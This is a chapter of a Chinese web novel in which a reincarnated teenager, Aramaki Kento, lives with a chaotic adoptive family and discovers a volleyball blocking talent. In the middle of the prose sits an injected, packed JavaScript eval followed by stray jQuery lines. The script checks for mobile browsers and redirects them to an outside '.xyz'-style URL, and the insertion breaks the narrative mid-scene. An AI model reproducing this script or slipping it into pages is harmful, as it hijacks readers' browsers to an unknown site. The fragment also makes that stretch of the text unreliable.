六叠大的和室弥漫着鲣鱼高汤的焦香，荒巻建人盘腿坐在矮桌前，盯着碗里那颗可疑的章鱼烧——美咲姐的“营养炸弹”，据说是昨夜剩菜的改造杰作，焦黑的表皮下隐约可见西兰花的残骸。
他偷瞄厨房：美咲挥舞菜刀剁着腌萝卜，晨光从违规扩建的阁楼天窗斜射而入，照得她马尾末梢仿佛要燃起火焰。
目光扫过墙上的裂缝，那里本该挂着生父的遗照，如今却贴着建人的小学毕业证书和健太第一次三振的海报。
美咲姐说空墙容易积灰，但他知道，她是拿买相框的钱换了健太的金属球棒。
（咔嗒）
铁平叔的出租车钥匙砸在榻榻米上，宿醉的胡茬沾着泡沫啤酒渍。
“臭小子，收起你那死鱼眼！吃饭要有吃饭的觉悟！”他吼道。
“大叔，你脸上还贴着便利店酱菜的包装纸呢。”建人淡定戳穿，换来一记暴栗。
盯着铁平啃的饭团，建人突然想起前世被卡车撞飞前的最后一餐。
那天，便利店店员少找了他50円，他攥着鲔鱼饭团站在马路中央天人交战。
结果呢？
转生后，他第一次睁眼是在居酒屋厕所的拖把桶旁，美咲姐嫌弃地说“捡到脏东西了”，却用沾满鱼腥的围裙把他裹成寿司卷。
重生在暴走族大叔的假户口下，被夜班居酒屋女王养大，弟弟是个棒球机器人，宠物是条杂种犬……这配置，活脱脱像劣质galgame的废线结局。
金太郎突然跃上桌，抢走章鱼烧。建人条件反射去拦，手背撞翻酱料瓶。美咲的怒吼与铁平的大笑交织，晨光透过违建塑料棚顶，在酱油渍上折射出彩虹。
“健太！别用左手拿筷子，甲子园裁判会判你投球犯规！”美咲喝道。
“姐，棒球规则不是这样的……”健太小声反驳。
“闭嘴！我说是就是！”美咲把味噌汤砸上桌，汤面纹丝不动——这女人连流体力学都能用杀气镇压。
建人瞥向弟弟，健太机械式扒饭，刘海下的扑克脸比前世见过的AI还僵硬。
唯有金太郎在桌底穿梭，尾巴扫过小腿的触感仿佛在说：“认命吧，人类。”
铁平筷子一指：“臭小子，今天该交班费了吧？别装傻！”
“大叔，上周你偷我游戏币买酒的事还没……”建人反击。
“哈？那是战略保管！美咲，这小子诽谤我！”铁平嚷道。
章鱼烧焦糊的苦味在舌尖炸开，建人瞬间理解了金太郎为何总把这“生化武器”埋进花盆——这是美咲用料理发出的生存试炼。
他偷摸将半颗丸子弹向桌底，金太郎却用看透一切的眼神撇过头，尾巴拍打榻榻米，充满哲学意味的嘲讽。
前世好歹吃过便利店过期便当，这辈子却要挑战地狱级料理……建人正盘算用味噌汤毁尸灭迹，冷不防美咲的菜刀抵住他喉结。
“敢浪费食物，”她眯眼，气场堪比居酒屋招牌上的恶鬼达摩，“就把你塞进鲭鱼箱寄回出生地。”
铁平爆出带酒嗝的大笑：“臭小子，有种！”
建人盯着刀锋上的萝卜碎屑，忽而意识到，转生十五年，他从未见过母亲。
墙上裂缝里藏着美咲用口红标注的还款日，还有健太用棒球砸出的凹痕，拼凑成一幅歪斜的星座图。
“棒球手套修补费三千円，从你零用钱扣。”美咲冷不丁开口，建人差点把味噌汤喷到健太脸上。
健太正以拆弹专家的谨慎剥着半熟蛋，闻言睫毛微颤——这是他表达愧疚的最高形式。
“等等！为什么是我？”建人抗议。
“上个月是谁用排球砸烂校长室玻璃？”美咲冷笑，“还是说你想试试新开发的激辣味噌？”
建人低头猛扒饭，米粒间混着碎玉米——美咲的“预算平衡术”。
前世，母亲会精心准备玉子烧和鲑鱼；今生，连荷包蛋都是限量版。可他莫名觉得，这才是人生的真实味道。
铁平闭着眼，精准夹走建人碗里唯一的煎蛋：“小鬼吃太多会变蠢。”
“你已经蠢到突破人类下限了。”美咲挥舞锅铲追杀，金太郎兴奋地在地板油渍上滑垒。
健太无声推来半颗梅干。
建人盯着他因握棒磨出硬茧的指尖。这个被装在便利店纸箱捡回来的弟弟，正为两年后的甲子园门票透支童年。就像美咲卖掉早稻田的梦想，换来居酒屋的油烟；铁平用暴走族勋章，抵押成出租车方向盘的老茧。
而他，带着前世记忆的bug存在，却只觉醒了拦网特化技能。
“这算什么？转生福利还是惩罚游戏？”他曾半夜溜去便利店翻穿越漫画，发现主角们要么开挂逆天，要么身世惊天。他却平凡得像超市传单——被遗弃的婴儿，被非血缘的家人收养。
洗碗池前，建人被美咲踹去倒垃圾。町屋后巷的公共垃圾桶旁，残留着1998年台风季的涂鸦。
他仰望二楼违建的铁皮屋檐——当年，铁平就是在这儿给他搭了第一个摇篮。
或许神明早已写好荒巻家的底层代码：被遗弃者收留被遗弃者，如无限套娃的俄罗斯轮盘。美咲捡到他，铁平捡到美咲，健太像颗棒球滚进这家，连金太郎都是少管所少年扔在门口的“犯罪证据”。
去学校的路上，铁平破天荒用出租车送他。这辆昭和年代的老皇冠宛如移动的废铁博物馆，后视镜上挂的不是平安符，而是美咲国中手工课缝的诅咒人偶。
“听好了，”铁平单手抓方向盘，另一手往窗外弹烟灰，“三中那帮小崽子敢笑你姓荒巻，就报老子当年‘夜叉罗’的名号！”
“大叔，你暴走族时代的照片被健太贴在冰箱当驱鼠符了。”建人吐槽。
“混账！那可是老子和山崎组干部单挑的纪念！”铁平咆哮。
建人把脸埋进围巾。车窗缝隙灌进大阪湾的咸腥，他忽而想起户籍謄本上的诡异日期——1996年3月3日，正是铁平因非法赛车入狱的第二天。这个被酒精和岁月泡发的暴走族，为何要为陌生人伪造亲子关系？
市立三中的体育馆弥漫着霉味，建人蹲在器材室阴影里打PSP。
早川茜的怒吼穿透薄墙：“荒巻建人！再逃训练就让你用脸接发球！”
接发球……他下意识摸了摸左腕。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529077|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上周被时速80公里的扣球击中，那痛楚仿佛被卡车二次碾压，让他确信重生只是换了种死法。
垫子被掀开，逆光中，早川茜的双马尾如审判之剑垂落。
“找到你了。”她手中的排球旋转着危险的光，“今天跟港南中打练习赛，缺个副攻手。
“排球会死人的吧。”建人嘀咕。
“那就死给我看。”少女拽起他衣领，力道堪比美咲拖煤气罐。
站到网前，对方王牌跃起扣杀的瞬间，世界陷入慢镜头。
肌肉记忆先于意识，他指尖擦过球面——那轨迹如前世错过的电车，带着牙酸的破空声砸向对方场地。
“拦网得分！”裁判哨声惊醒他。
早川茜的拳头重重捶在他背上：“这不是能行吗！”
建人扶着广告牌，掌心满是冷汗。方才的“动态视力外挂”已消失无踪，仿佛被神明临时借走又随手丢弃。
果然，只有对上强者才会触发……
记分牌上“港南中 21:3”的残酷数字刺目，对方教练的嗤笑更刺耳：“市立三中沦落到靠幽灵社员救场了？”
放学后，建人被堵在更衣室。早川茜将战术板拍上长椅，上面贴满他拦网瞬间的偷拍照：“明天起特训接发球，否则我把你在天台摔成人鱼的视频发给美咲姐。”
人鱼是什么鬼！那只是被水桶绊倒……建人试图用死鱼眼发动精神攻击，却被少女从便当盒掏出的章鱼烧瓦解防线——焦香酥脆的外皮，内馅是虾仁与奶酪的完美融合。
“美咲姐今早送了慰问品。”早川茜笑得像发现猎物的狐狸，“她说，‘这笨蛋敢拖后腿，随时通知我清理门户’。”
咬破章鱼烧的瞬间，建人仿佛看见美咲在凌晨厨房与铁平对峙。那些本该买新围裙的高级食材，此刻化作热量灼烧他的胃。
当晚，町屋难得热闹。美咲歇了居酒屋，召集铁平和常客们开紧急家庭会议——若建人打进县大赛八强，就能获企业赞助的体育奖学金。
“胡了！”铁平推倒麻将牌，“混老头，每家三千点！”
“这是会议不是赌局啊混蛋！”美咲的折扇劈向桌面，惊飞金太郎藏好的鸡骨头。
建人缩在角落给健太抛接棒球。
弟弟突然开口：“姐典当了妈妈的戒指。”球砸在地上的闷响被麻将声淹没。
建人看向美咲空荡的无名指，那里本该戴着从铁平钱包翻出的古董婚戒——上周她还说是“防吃霸王餐的护身符”。
深夜，建人摸上天台。
远处便利店的灯光像极了前世事故现场，金太郎的体温透过裤管传来。
明明发誓这辈子要当咸鱼……他摊开掌心，拦网时的触感犹存。
美咲的怒吼、铁平的醉话、健太的沉默、早川茜的章鱼烧，在月光下织成细密的网。当第一颗排球砸向凌晨三点的夜空，町屋违建的铁皮发出共鸣。
美咲在账本写下新赤字，铁平往出租车藏了戒酒药，健太的棒球划过仓库铁门。
（注：此时距建人升入稻荷崎高校还有九个月，他尚未发现暴雨天拦网命中率提升17%的秘密——）